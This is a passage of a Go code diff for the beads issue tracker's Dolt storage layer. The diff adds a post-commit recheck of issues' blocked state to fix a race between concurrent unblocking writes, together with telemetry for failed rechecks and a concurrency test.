opts.Reason, actor, opts.Session, opts.Force, opts.ExpectedVersion) if err != nil { return storage.CloseIssueResult{}, err } - if err := s.commitSQLTx(ctx, "commit close wisp", tx); err != nil { + if err := s.commitSQLTxAndRecheck(ctx, "commit close wisp", tx); err != nil { return storage.CloseIssueResult{}, err } return storage.CloseIssueResult{Unchanged: res.AlreadyClosed, OpenChildren: res.OpenChildren}, nil @@ -304,6 +312,8 @@ func (s *DoltStore) deleteWisp(ctx context.Context, id string) error { clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() affectedIssues, affectedWisps, aerr := issueops.AffectedByDeletionInTx(ctx, tx, nil, []string{id}) if aerr != nil { @@ -347,8 +357,9 @@ func (s *DoltStore) deleteWisp(ctx context.Context, id string) error { if err := issueops.RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return fmt.Errorf("recompute is_blocked after wisp delete for %s: %w", id, err) } + issueops.NoteDeleteBlockedRecheck(tx, []string{id}, "", affectedIssues, affectedWisps) - return s.commitSQLTx(ctx, "commit delete wisp", tx) + return s.commitSQLTxAndRecheck(ctx, "commit delete wisp", tx) } // deleteWispBatch permanently removes multiple wisps using one transaction per @@ -397,6 +408,8 @@ func (s *DoltStore) deleteWispBatchTx(ctx context.Context, ids []string) (int, e clearJournalScope := s.scopeEventsJournalTransaction(tx) defer clearJournalScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() affectedIssues, affectedWisps, aerr := issueops.AffectedByDeletionInTx(ctx, tx, nil, ids) if aerr != nil { @@ -448,8 +461,9 @@ func (s *DoltStore) deleteWispBatchTx(ctx context.Context, ids []string) (int, e if err := issueops.RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return 0, fmt.Errorf("recompute is_blocked after batched wisp delete: %w", err) } + issueops.NoteDeleteBlockedRecheck(tx, ids, "", affectedIssues, affectedWisps) - if err := s.commitSQLTx(ctx, "commit batch wisp delete", tx); err != nil { + if err := s.commitSQLTxAndRecheck(ctx, "commit batch wisp delete", tx); err != nil { return 0, err } diff --git a/internal/storage/domain/db/delete_repo_test.go b/internal/storage/domain/db/delete_repo_test.go index d81095731..d6857d38f 100644 --- a/internal/storage/domain/db/delete_repo_test.go +++ b/internal/storage/domain/db/delete_repo_test.go @@ -237,7 +237,7 @@ func (s *testSuite) issueAffectedByDeletionDependers() { } func (s *testSuite) issueRecomputeIsBlockedEmpty() { - s.Require().NoError(s.issueRepo().RecomputeIsBlocked(s.Ctx(), nil, nil)) + s.Require().NoError(s.issueRepo().RecomputeIsBlockedAfterDelete(s.Ctx(), nil, nil, nil)) } func (s *testSuite) issueRecomputeIsBlockedFlips() { @@ -247,7 +247,7 @@ func (s *testSuite) issueRecomputeIsBlockedFlips() { newDep("bd-del-rib-depender", "bd-del-rib-blocker", types.DepBlocks), "tester", domain.DepInsertOpts{})) - s.Require().NoError(s.issueRepo().RecomputeIsBlocked(s.Ctx(), + s.Require().NoError(s.issueRepo().RecomputeIsBlockedAfterDelete(s.Ctx(), nil, []string{"bd-del-rib-depender"}, nil)) var blocked int s.Require().NoError(s.Runner().QueryRowContext(s.Ctx(), @@ -257,7 +257,7 @@ func (s *testSuite) issueRecomputeIsBlockedFlips() { _, err := s.Runner().ExecContext(s.Ctx(), "UPDATE issues SET status = 'closed' WHERE id = ?", "bd-del-rib-blocker") s.Require().NoError(err) - s.Require().NoError(s.issueRepo().RecomputeIsBlocked(s.Ctx(), + s.Require().NoError(s.issueRepo().RecomputeIsBlockedAfterDelete(s.Ctx(), nil, []string{"bd-del-rib-depender"}, nil)) s.Require().NoError(s.Runner().QueryRowContext(s.Ctx(), "SELECT is_blocked FROM issues WHERE id = ?", "bd-del-rib-depender").Scan(&blocked)) diff --git a/internal/storage/domain/db/dependency.go b/internal/storage/domain/db/dependency.go index 61819c02d..6b45e672f 100644 --- a/internal/storage/domain/db/dependency.go +++ b/internal/storage/domain/db/dependency.go @@ -383,6 +383,7 @@ func (r *dependencySQLRepositoryImpl) Delete(ctx context.Context, issueID, depen if err := issueops.RecomputeIsBlockedInTx(ctx, r.runner, affectedIssues, affectedWisps); err != nil { return domain.DepDeleteResult{}, fmt.Errorf("db: DependencySQLRepository.Delete: recompute is_blocked: %w", err) } + issueops.NoteDependencyRemovalBlockedRecheck(r.runner, issueID, dependsOnID, affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // Never gated on opts.EmitEvent — a structural removal is as real to a diff --git a/internal/storage/domain/db/issue.go b/internal/storage/domain/db/issue.go index b44cdc2a1..eb19947af 100644 --- a/internal/storage/domain/db/issue.go +++ b/internal/storage/domain/db/issue.go @@ -323,6 +323,9 @@ func (r *issueSQLRepositoryImpl) Update(ctx context.Context, id string, updates if err := issueops.RecomputeIsBlockedInTx(ctx, r.runner, affectedIssues, affectedWisps); err != nil { return fmt.Errorf("db: Update %s: recompute is_blocked: %w", id, err) } + if !newActive { + issueops.NoteStatusChangeBlockedRecheck(r.runner, id, string(newStatus), affectedIssues, affectedWisps) + } } } // Snapshot only after all derived blocked-state maintenance has completed. @@ -1070,8 +1073,12 @@ func (r *issueSQLRepositoryImpl) AffectedByDeletion(ctx context.Context, issueID return issueops.AffectedByDeletionInTx(ctx, r.runner, issueIDs, wispIDs) } -func (r *issueSQLRepositoryImpl) RecomputeIsBlocked(ctx context.Context, issueIDs, wispIDs []string) error { - return issueops.RecomputeIsBlockedInTx(ctx, r.runner, issueIDs, wispIDs) +func (r *issueSQLRepositoryImpl) RecomputeIsBlockedAfterDelete(ctx context.Context, deletedIDs, issueIDs, wispIDs []string) error { + if err := issueops.RecomputeIsBlockedInTx(ctx, r.runner, issueIDs, wispIDs); err != nil { + return err + } + issueops.NoteDeleteBlockedRecheck(r.runner, deletedIDs, "", issueIDs, wispIDs) + return nil } func (r *issueSQLRepositoryImpl) AsOf(ctx context.Context, id, ref string) (*types.Issue, error) { diff --git a/internal/storage/domain/issue.go b/internal/storage/domain/issue.go index a8137338a..c73f2c4d2 100644 --- a/internal/storage/domain/issue.go +++ b/internal/storage/domain/issue.go @@ -89,7 +89,10 @@ type IssueSQLRepository interface { FindAllDependents(ctx context.Context, ids []string) ([]string, error) FindWispDependentsRecursive(ctx context.Context, ids []string) (map[string]bool, error) AffectedByDeletion(ctx context.Context, issueIDs, wispIDs []string) (affectedIssues, affectedWisps []string, err error) - RecomputeIsBlocked(ctx context.Context, issueIDs, wispIDs []string) error + // RecomputeIsBlockedAfterDelete recomputes the blocked state of the + // dependents a delete of deletedIDs affected, and records them for the + // post-commit recheck the unit of work runs (gastownhall/beads#6716). + RecomputeIsBlockedAfterDelete(ctx context.Context, deletedIDs, issueIDs, wispIDs []string) error Close(ctx context.Context, id string, params CloseRowParams, actor string, opts IssueTableOpts) (CloseRowResult, error) CloseChecked(ctx context.Context, id string, params CloseRowParams, actor string, force bool) (CloseRowResult, error) Reopen(ctx context.Context, id string, params ReopenRowParams, actor string, opts IssueTableOpts) (ReopenRowResult, error) diff --git a/internal/storage/domain/issue_delete.go b/internal/storage/domain/issue_delete.go index a07a7fb5d..881db741b 100644 --- a/internal/storage/domain/issue_delete.go +++ b/internal/storage/domain/issue_delete.go @@ -211,7 +211,7 @@ func (u *issueUseCaseImpl) deleteMany(ctx context.Context, params DeleteIssuesPa result.ReferencesUpdated = refs } - if err := u.issueRepo.RecomputeIsBlocked(ctx, affectedIssues, affectedWisps); err != nil { + if err := u.issueRepo.RecomputeIsBlockedAfterDelete(ctx, allIDs, affectedIssues, affectedWisps); err != nil { return result, fmt.Errorf("delete: recompute is_blocked: %w", err) } diff --git a/internal/storage/issueops/blocked_recheck.go b/internal/storage/issueops/blocked_recheck.go index 7204704bd..d31b67c66 100644 --- a/internal/storage/issueops/blocked_recheck.go +++ b/internal/storage/issueops/blocked_recheck.go @@ -33,36 +33,26 @@ import ( // // # What is scoped, and what is not // -// Recording only reaches a recheck through a transaction a store scoped (see -// ScopeBlockedRecheckTransaction), and exactly two write runners scope one: -// DoltStore's commitWriteTx and EmbeddedDoltStore's commitConn. A write that -// reaches this package on any other transaction records nothing and behaves -// exactly as it did before the recheck existed — the skew above survives on -// it. Those routes are known and deliberately out of scope here: +// Recording only reaches a recheck through a transaction a write runner +// scoped (see ScopeBlockedRecheckTransaction). The runners that scope one, +// and settle what it recorded once it has committed, are: // -// - the uow/domain-db routing system (internal/storage/uow, with the -// in-transaction recomputes at internal/storage/domain/db/issue.go and -// dependency.go), which serves `bd batch` when proxied and every write a -// uow provider serves. Scoping it needs more than these two lines: -// doltServerTx.Runner() hands out the pinned *sql.Conn, not the *sql.Tx -// this package keys its scope on, so the key has to be threaded through -// the wrapper — the caveat below, already real rather than hypothetical. -// - storage.Transaction (internal/storage/dolt/transaction.go, reached -// through DoltStore.RunInTransaction on a pinned connection), which is -// how `bd batch` closes, status updates and dep removals land when not -// proxied, and how `bd cook`'s proto-subgraph delete, `bd mol squash` and -// `bd mol burn` delete and close. -// - the legacy DoltStore.RemoveDependencyWithOptions (raw BeginTx in -// internal/storage/dolt/dependencies.go), which `bd duplicates --merge` -// uses to remove parent-child edges. -// - the wisp writers (internal/storage/dolt/wisps.go closeWisp/updateWisp/ -// deleteWisp and ephemeral_routing.go's demote-to-wisp), which run raw -// unscoped transactions. The recompute joins depends_on_wisp_id, so a -// permanent issue blocked by two wisps whose removals race keeps the same -// stale flag. +// - DoltStore's commitWriteTx (withWriteTx/withRetryTx), its storage.Transaction +// runner (RunInTransaction, which scopes both its regular and its ignored +// transaction), and the raw transactions of its wisp writers and of the +// legacy RemoveDependencyWithOptions; +// - EmbeddedDoltStore's commitConn, which every embedded write, including +// RunInTransaction, goes through; +// - the uow Tx (internal/storage/uow), which serves every write a uow +// provider serves: the proxied CLI, `bd batch` when proxied, and bd serve. +// It scopes the pinned *sql.Conn its repositories run on, and the +// domain/db repositories record through the Note* helpers below exactly +// where the issueops write paths do. // -// Every one of these leaves the pre-existing, operator-repairable state -// (`bd doctor`, `bd recompute-blocked`); none is made worse by the recheck. +// A write that reaches this package on any other transaction records nothing +// and behaves exactly as it did before the recheck existed; that leaves the +// operator-repairable state (`bd doctor`, `bd recompute-blocked`) the recheck +// was added to prevent. type BlockedRecheck struct { IssueIDs []string WispIDs []string @@ -222,6 +212,43 @@ func TakeBlockedRecheck(tx DBTX) BlockedRecheck { return taken } +// Merge returns the union of r and other: every id either recorded, and the +// sources and counts of both. A runner that scoped two transactions for one +// write (DoltStore's split regular/ignored transactions) settles them with one +// recheck. +func (r BlockedRecheck) Merge(other BlockedRecheck) BlockedRecheck { + merged := BlockedRecheck{SourceCount: r.SourceCount + other.SourceCount} + merged.IssueIDs, _ = appendRecheckIDs(append([]string(nil), r.IssueIDs...), other.IssueIDs, nil) + merged.WispIDs, _ = appendRecheckIDs(append([]string(nil), r.WispIDs...), other.WispIDs, nil) + merged.Sources, _ = appendRecheckIDs(append([]string(nil), r.Sources...), other.Sources, nil) + if len(merged.Sources) > recheckSourceLimit { + merged.Sources = merged.Sources[:recheckSourceLimit] + } + return merged +} + +// NoteStatusChangeBlockedRecheck records, for the post-commit recheck, the +// dependents a move of id to the inactive newStatus (a close included) +// recomputed in tx. The issue itself is excluded: a concurrent writer +// conflicts on its row rather than racing past it. +func NoteStatusChangeBlockedRecheck(tx DBTX, id, newStatus string, affectedIssues, affectedWisps []string) { + noteBlockedRecheck(tx, statusChangeRecheckLabel(id, newStatus), []string{id}, affectedIssues, affectedWisps) +} + +// NoteDependencyRemovalBlockedRecheck records the dependents a removal of the +// issueID -> dependsOnID edge recomputed in tx. Nothing is excluded: the +// dependent is exactly the row a racing unblocking write can leave stale. +func NoteDependencyRemovalBlockedRecheck(tx DBTX, issueID, dependsOnID string, affectedIssues, affectedWisps []string) { + noteBlockedRecheck(tx, fmt.Sprintf("dependency removal %s -> %s", issueID, dependsOnID), nil, affectedIssues, affectedWisps) +} + +// NoteDeleteBlockedRecheck records the dependents a delete of deletedIDs +// recomputed in tx, leaving out the deleted rows themselves. scope, when set, +// says where the ids came from ("from "). +func NoteDeleteBlockedRecheck(tx DBTX, deletedIDs []string, scope string, affectedIssues, affectedWisps []string) { + noteBlockedRecheck(tx, deleteRecheckLabel(deletedIDs, scope), deletedIDs, affectedIssues, affectedWisps) +} + // noteBlockedRecheck records the dependents a write recomputed in tx. source // labels the write for the recheck's commit message. exclude names ids this // call leaves out: for a close or status update, the issue whose row this diff --git a/internal/storage/issueops/blocked_recheck_report.go b/internal/storage/issueops/blocked_recheck_report.go new file mode 100644 index 000000000..eb09b5ba5 --- /dev/null +++ b/internal/storage/issueops/blocked_recheck_report.go @@ -0,0 +1,39 @@ +package issueops + +import ( + "context" + "log" + + "go.opentelemetry.io/otel" + "go.opentelemetry.io/otel/metric" +) + +// blockedRecheckDropped counts post-commit rechecks that failed. It is +// registered on the storage meter every write runner reports through, against +// the global delegating provider, so it forwards once telemetry.Init() runs. +var blockedRecheckDropped metric.Int64Counter + +func init() { + blockedRecheckDropped, _ = otel.Meter("github.com/steveyegge/beads/storage/dolt").Int64Counter("bd.db.blocked_recheck_dropped", + metric.WithDescription("Post-commit blocked-state rechecks abandoned; the write landed but dependents may carry a stale is_blocked flag until `bd recompute-blocked`"), + metric.WithUnit("{recheck}"), + ) +} + +// ReportBlockedRecheckFailure is the one channel a write runner reports a +// failed post-commit recheck through, instead of returning it: the write it +// followed is committed and durable, and every caller of a store write reads +// an error as "the mutation did not land", so surfacing this one would make +// automated callers retry and double-apply. What is left behind is the stale +// is_blocked flag `bd doctor` and `bd recompute-blocked` repair. +// +// Because the failure stops here, the counter and the line are its only +// trace. The counter is what a fleet alerts on; the line names the rows to +// repair. +func ReportBlockedRecheckFailure(ctx context.Context, pending BlockedRecheck, err error) { + if err == nil { + return + } + blockedRecheckDropped.Add(ctx, 1) + log.Printf("warning: %s", BlockedRecheckFailureMessage(pending, err)) +} diff --git a/internal/storage/issueops/bulk_ops.go b/internal/storage/issueops/bulk_ops.go index e96d5b513..636ae1819 100644 --- a/internal/storage/issueops/bulk_ops.go +++ b/internal/storage/issueops/bulk_ops.go @@ -234,7 +234,7 @@ func DeleteIssuesBySourceRepoInTx(ctx context.Context, tx *sql.Tx, sourceRepo st if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return int(rowsAffected), fmt.Errorf("recompute is_blocked after source-repo delete: %w", err) } - noteBlockedRecheck(tx, deleteRecheckLabel(issueIDs, "from "+sourceRepo), issueIDs, affectedIssues, affectedWisps) + NoteDeleteBlockedRecheck(tx, issueIDs, "from "+sourceRepo, affectedIssues, affectedWisps) return int(rowsAffected), nil } diff --git a/internal/storage/issueops/close.go b/internal/storage/issueops/close.go index 6b8242996..170a0218b 100644 --- a/internal/storage/issueops/close.go +++ b/internal/storage/issueops/close.go @@ -381,7 +381,7 @@ func closeIssueInTx(ctx context.Context, tx DBTX, id string, reason, actor, sess if err != nil { return nil, fmt.Errorf("recompute is_blocked after close for %s: %w", id, err) } - noteBlockedRecheck(tx, "close of "+id, []string{id}, affectedIssues, affectedWisps) + NoteStatusChangeBlockedRecheck(tx, id, string(types.StatusClosed), affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // recordEvent gates the human audit event, never the journal. diff --git a/internal/storage/issueops/delete.go b/internal/storage/issueops/delete.go index e0406c8f2..f94f48ec2 100644 --- a/internal/storage/issueops/delete.go +++ b/internal/storage/issueops/delete.go @@ -51,7 +51,7 @@ func DeleteIssueInTx(ctx context.Context, tx *sql.Tx, id string, actor string) e if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return fmt.Errorf("recompute is_blocked after delete for %s: %w", id, err) } - noteBlockedRecheck(tx, deleteRecheckLabel([]string{id}, ""), []string{id}, affectedIssues, affectedWisps) + NoteDeleteBlockedRecheck(tx, []string{id}, "", affectedIssues, affectedWisps) return nil } @@ -392,7 +392,7 @@ func DeleteResolvedSetInTx(ctx context.Context, tx *sql.Tx, set DeletionSet, dry if err := RecomputeIsBlockedInTx(ctx, tx, affectedIssues, affectedWisps); err != nil { return nil, fmt.Errorf("recompute is_blocked after batch delete: %w", err) } - noteBlockedRecheck(tx, deleteRecheckLabel(set.All, ""), set.All, affectedIssues, affectedWisps) + NoteDeleteBlockedRecheck(tx, set.All, "", affectedIssues, affectedWisps) return result, nil } diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index 755ec8da8..01efd856c 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -1062,9 +1062,7 @@ func removeDependencyInTx(ctx context.Context, tx *sql.Tx, issueID, dependsOnID, return false, fmt.Errorf("recompute is_blocked after remove dependency %s -> %s: %w", issueID, dependsOnID, err) } mergeRecomputeIsBlockedResult(recomputeResult, recomputed) - // The dependent is exactly the row a racing unblocking write can leave - // stale, so nothing is excluded from the post-commit recheck. - noteBlockedRecheck(tx, fmt.Sprintf("dependency removal %s -> %s", issueID, dependsOnID), nil, affectedIssues, affectedWisps) + NoteDependencyRemovalBlockedRecheck(tx, issueID, dependsOnID, affectedIssues, affectedWisps) // Snapshot only after all derived blocked-state maintenance has completed. // Never gated on emitEvent — a structural removal is as real to a replaying // consumer as one from an explicit dep verb. diff --git a/internal/storage/issueops/update.go b/internal/storage/issueops/update.go index 10fda9f09..c0958ed6a 100644 --- a/internal/storage/issueops/update.go +++ b/internal/storage/issueops/update.go @@ -535,7 +535,7 @@ func updateIssueInTx(ctx context.Context, tx DBTX, id string, updates map[string updateResult.IssueRowsChanged = !isWisp || recompute.IssueRowsChanged updateResult.WispRowsChanged = isWisp || recompute.WispRowsChanged if !newActive { - noteBlockedRecheck(tx, statusChangeRecheckLabel(id, newStatus), []string{id}, affectedIssues, affectedWisps) + NoteStatusChangeBlockedRecheck(tx, id, newStatus, affectedIssues, affectedWisps) } } } diff --git a/internal/storage/uow/blocked_recheck.go b/internal/storage/uow/blocked_recheck.go new file mode 100644 index 000000000..4fc2ca8eb --- /dev/null +++ b/internal/storage/uow/blocked_recheck.go @@ -0,0 +1,80 @@ +package uow + +import ( + "context" + "fmt" + + "github.com/cenkalti/backoff/v4" + + "github.com/steveyegge/beads/internal/storage/issueops" +) + +// recheckBlockedAfterCommit recomputes, on the pinned session and a fresh +// snapshot, the blocked state of the dependents a committed unit of work's +// unblocking writes recorded (gastownhall/beads#6716). The in-transaction +// recompute read that unit of work's start snapshot, so two proxied writes +// racing on the blockers of one dependent each saw the other blocker still in +// place and both committed leaving it blocked and hidden from `bd ready`. A +// recompute over the same ids after commit sees both writes. +// +// It runs no SQL when nothing was recorded. It commits the way the unit of +// work did (commitStatement): a Dolt commit named for the writes when it +// changed an issues row and version commits are not deferred, a plain COMMIT +// otherwise. A serialization loss is retried on a new transaction. +// +// The write it follows is durable, so a failure is reported through +// issueops.ReportBlockedRecheckFailure (the counter and warning the store +// runners use), never returned: an error from Commit tells every caller the +// write did not land. What a failure +// leaves is the stale flag `bd doctor` and `bd recompute-blocked` repair. It +// reports whether the session is clean enough to go back to the pool; false +// means a transaction may still be open on it and it must be poisoned. +func (t *doltServerTx) recheckBlockedAfterCommit(ctx context.Context, pending issueops.BlockedRecheck) bool { + if pending.Empty() || issueops.InBlockedRecheck(ctx) { + return true + } + ctx, cancel := issueops.BlockedRecheckContext(ctx) + defer cancel() + + bo := backoff.NewExponentialBackOff() + bo.InitialInterval = txRetryInitialInterval + bo.MaxElapsedTime = DefaultTxRetryMaxElapsed + clean := true + err := backoff.Retry(func() error { + err := t.recheckBlockedOnce(ctx, pending) + if err == nil || isSerializationError(err) { + // A serialization failure means the server already rolled the + // transaction back, so the session is idle for the next attempt. + return err + } + if _, rbErr := t.conn.ExecContext(ctx, "ROLLBACK;"); rbErr != nil { + clean = false + } + return backoff.Permanent(err) + }, backoff.WithContext(bo, ctx)) + if err != nil { + issueops.ReportBlockedRecheckFailure(ctx, pending, issueops.BlockedRecheckFailed(err)) + } + return clean +} + +// recheckBlockedOnce is one recheck transaction on the pinned session. +func (t *doltServerTx) recheckBlockedOnce(ctx context.Context, pending issueops.BlockedRecheck) error { + if _, err := t.conn.ExecContext(ctx, "START TRANSACTION;"); err != nil { + return fmt.Errorf("begin recheck: %w", err) + } + result, err := issueops.RecomputeIsBlockedInTxWithResult(ctx, t.conn, pending.IssueIDs, pending.WispIDs) + if err != nil { + return err + } + message := "" + if result.IssueRowsChanged { + message = pending.CommitMessage() + } + stmt, args, err := t.commitStatement(ctx, message) + if err != nil { + return err + } + _, err = t.conn.ExecContext(ctx, stmt, args...) + return err +} diff --git a/internal/storage/uow/blocked_recheck_race_test.go b/internal/storage/uow/blocked_recheck_race_test.go new file mode 100644 index 000000000..c03cfb386 --- /dev/null +++ b/internal/storage/uow/blocked_recheck_race_test.go @@ -0,0 +1,174 @@ +package uow + +import ( + "context" + "slices" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/domain" + "github.com/steveyegge/beads/internal/types" +) + +// TestProxiedBlockedRecheckAfterRacingUnblocks is gastownhall/beads#6716 on +// the proxied (uow) write path, the one every proxied `bd close`, +// `bd update --status closed`, `bd dep remove`, `bd delete`, proxied batch +// close and bd serve reach. +// +// Two blockers A and B of one dependent C are taken away by two units of +// work whose transactions overlap: the first begins and writes while both +// blockers are open, the second then writes and commits, and the first +// commits last. Each in-transaction recompute saw the other blocker still in +// place, so neither wrote C, and without a post-commit recheck C stays +// is_blocked=1 and hidden from ready work on every committed snapshot. +func TestProxiedBlockedRecheckAfterRacingUnblocks(t *testing.T) { + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute) + defer cancel() + const prefix = "rbr" + provider := newUOWRoleFixtureProvider(t, ctx, prefix) + kit := newUOWRoleFixtureKit(provider, prefix) + + closeIssue := func(id string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + _, err := uw.IssueUseCase().CloseIssue(ctx, id, domain.CloseIssueParams{Reason: "done"}, "racer") + return err + } + } + closeChecked := func(id string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + _, err := uw.IssueUseCase().CloseIssueChecked(ctx, id, domain.CloseIssueParams{Reason: "done"}, "racer", false) + return err + } + } + updateClosed := func(id string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + return uw.IssueUseCase().UpdateIssue(ctx, id, map[string]any{"status": string(types.StatusClosed)}, "racer") + } + } + closeWisp := func(id string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + _, err := uw.IssueUseCase().CloseWisp(ctx, id, domain.CloseIssueParams{Reason: "done"}, "racer") + return err + } + } + + cases := []struct { + name string + // wispBlockers seeds A and B as wisps instead of issues. + wispBlockers bool + // first and second take blocker A and blocker B away; first commits last. + first, second func(a, b, c string) func(context.Context, UnitOfWork) error + }{ + { + name: "close vs close", + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { return closeIssue(a) }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeIssue(b) }, + }, + { + // The batch closer's per-item close (bd close a b, proxied). + name: "checked close vs checked close", + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { return closeChecked(a) }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeChecked(b) }, + }, + { + // bd update --status closed, proxied. + name: "update to closed vs close", + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { return updateClosed(a) }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeIssue(b) }, + }, + { + name: "dependency removal vs close", + first: func(a, _, c string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + return uw.DependencyUseCase().RemoveDependency(ctx, c, a, "racer") + } + }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeIssue(b) }, + }, + { + name: "delete vs close", + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { + return func(ctx context.Context, uw UnitOfWork) error { + _, err := uw.IssueUseCase().DeleteIssues(ctx, domain.DeleteIssuesParams{IDs: []string{a}, EnforceCascadePolicy: true, Force: true}, "racer") + return err + } + }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeIssue(b) }, + }, + { + name: "wisp close vs wisp close", + wispBlockers: true, + first: func(a, _, _ string) func(context.Context, UnitOfWork) error { return closeWisp(a) }, + second: func(_, b, _ string) func(context.Context, UnitOfWork) error { return closeWisp(b) }, + }, + } + + for i, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + n := string(rune('a' + i)) + a, b, c := prefix+"-"+n+"blka", prefix+"-"+n+"blkb", prefix+"-"+n+"dep" + seed := kit.CreateIssue + if tc.wispBlockers { + seed = kit.CreateWisp + } + for _, id := range []string{a, b} { + if err := seed(ctx, &types.Issue{ID: id, Title: id, IssueType: types.TypeTask, Status: types.StatusOpen, Priority: 2}, "seeder"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + } + if err := kit.CreateIssue(ctx, &types.Issue{ID: c, Title: c, IssueType: types.TypeTask, Status: types.StatusOpen, Priority: 2}, "seeder"); err != nil { + t.Fatalf("seed %s: %v", c, err) + } + for _, blocker := range []string{a, b} { + if err := kit.AddDependency(ctx, &types.Dependency{IssueID: c, DependsOnID: blocker, Type: types.DepBlocks}, "seeder"); err != nil { + t.Fatalf("add %s -> %s: %v", c, blocker, err) + } + } + requireBlocked(t, ctx, kit, c, true) + + first, err := provider.NewUOW(ctx) + if err != nil { + t.Fatalf("open first unit of work: %v", err) + } + defer first.Close(ctx) + if err := tc.first(a, b, c)(ctx, first); err != nil { + t.Fatalf("first write: %v", err) + } + + if err := RunTx(ctx, provider, func(ctx context.Context, uw UnitOfWork) (string, error) { + return "second racing write", tc.second(a, b, c)(ctx, uw) + }); err != nil { + t.Fatalf("second write: %v", err) + } + // The second write's own recheck ran while the first was still + // uncommitted, so the dependent is legitimately still blocked. + requireBlocked(t, ctx, kit, c, true) + + if err := first.Commit(ctx, "first racing write"); err != nil { + t.Fatalf("commit first write: %v", err) + } + + requireBlocked(t, ctx, kit, c, false) + ready, err := RunTxRead(ctx, provider, func(ctx context.Context, uw UnitOfWork) (domain.SearchPage, error) { + return uw.IssueUseCase().GetReadyWork(ctx, types.WorkFilter{}) + }) + if err != nil { + t.Fatalf("ready work: %v", err) + } + if !slices.ContainsFunc(ready.Items, func(i *types.Issue) bool { return i.ID == c }) { + t.Fatalf("%s has no open blockers but is missing from ready work", c) + } + }) + } +} + +func requireBlocked(t *testing.T, ctx context.Context, kit roleFixtureKit, id string, want bool) { + t.Helper() + var blocked bool + if err := kit.QueryScalar(ctx, "SELECT is_blocked FROM issues WHERE id = ?", []any{id}, &blocked); err != nil { + t.Fatalf("read is_blocked of %s: %v", id, err) + } + if blocked != want { + t.Fatalf("%s is_blocked = %v, want %v", id, blocked, want) + } +} diff --git a/internal/storage/uow/dolt_sql_provider.go b/internal/storage/uow/dolt_sql_provider.go index 371dc53ff..b32def7ea 100644 --- a/internal/storage/uow/dolt_sql_provider.go +++ b/internal/storage/uow/dolt_sql_provider.go @@ -202,10 +202,13 @@ func (p *doltSQLProvider) BeginTx(ctx context.Context) (Tx, error) { // AFTER START TRANSACTION so the seq allocation's UPDATE and the SELECT that // must observe it are inside one transaction on one session. The scope is // released when the connection is (doltServerTx.releaseConn / poisonConn), - // so an entry cannot outlive its transaction. + // so an entry cannot outlive its transaction. The blocked-recheck scope is + // bound and released the same way; Commit takes what it recorded once the + // transaction has committed. return &doltServerTx{ conn: conn, clearJournalScope: issueops.ScopeEventsJournalTransaction(conn, p.eventsJournalEnabled.Load()), + clearRecheckScope: issueops.ScopeBlockedRecheckTransaction(conn), }, nil } diff --git a/internal/storage/uow/doltserver_tx.go b/internal/storage/uow/doltserver_tx.go index ee22e35d6..3a98f27ac 100644 --- a/internal/storage/uow/doltserver_tx.go +++ b/internal/storage/uow/doltserver_tx.go @@ -18,6 +18,10 @@ type doltServerTx struct { // releaseConn and poisonConn — so the activation entry cannot outlive the // transaction it describes, whichever way the transaction ends. clearJournalScope func() + // clearRecheckScope is the same binding for the dependents this + // transaction's unblocking writes record for the post-commit + // blocked-state recheck (gastownhall/beads#6716). + clearRecheckScope func() } var _ Tx = (*doltServerTx)(nil) @@ -30,6 +34,51 @@ func (t *doltServerTx) Commit(ctx context.Context, message string) error { if t.done { return errors.New("uow: commit: already done") } + stmt, args, err := t.commitStatement(ctx, message) + if err != nil { + if isSerializationError(err) { + // As below: the server already rolled the transaction back and + // the caller retries the whole unit of work, so leave the + // pinned session in place for the retry. + return err + } + // A failed status check leaves the transaction open on the pinned + // session, exactly like a failed DOLT_COMMIT below: roll back + // before release, or poison the connection. + return t.closeOpenTxAfterFailure(ctx, err) + } + _, err = t.conn.ExecContext(ctx, stmt, args...) + if err == nil { + t.done = true + // The write is durable. Settle the dependents its unblocking writes + // recorded on a fresh snapshot before the pinned session goes back + // to the pool (gastownhall/beads#6716). A recheck failure is logged, + // never returned: the caller must not read a committed write as + // failed and replay it. + if t.recheckBlockedAfterCommit(ctx, issueops.TakeBlockedRecheck(t.conn)) { + t.releaseConn() + } else { + t.poisonConn() + } + return nil + } + if isSerializationError(err) { + // Serialization failures guarantee the transaction was already rolled + // back and the caller retries them, so leave the pinned session in place + // for the retry rather than tearing it down here. + return err + } + // A non-serialization DOLT_COMMIT failure leaves the transaction open on the + // pinned session. Roll it back before releasing the connection so the next + // borrower cannot inherit and implicitly commit the orphaned writes. If the + // rollback also fails the session state is unknown, so poison the connection + // and let the pool discard it instead of handing it out again. + return 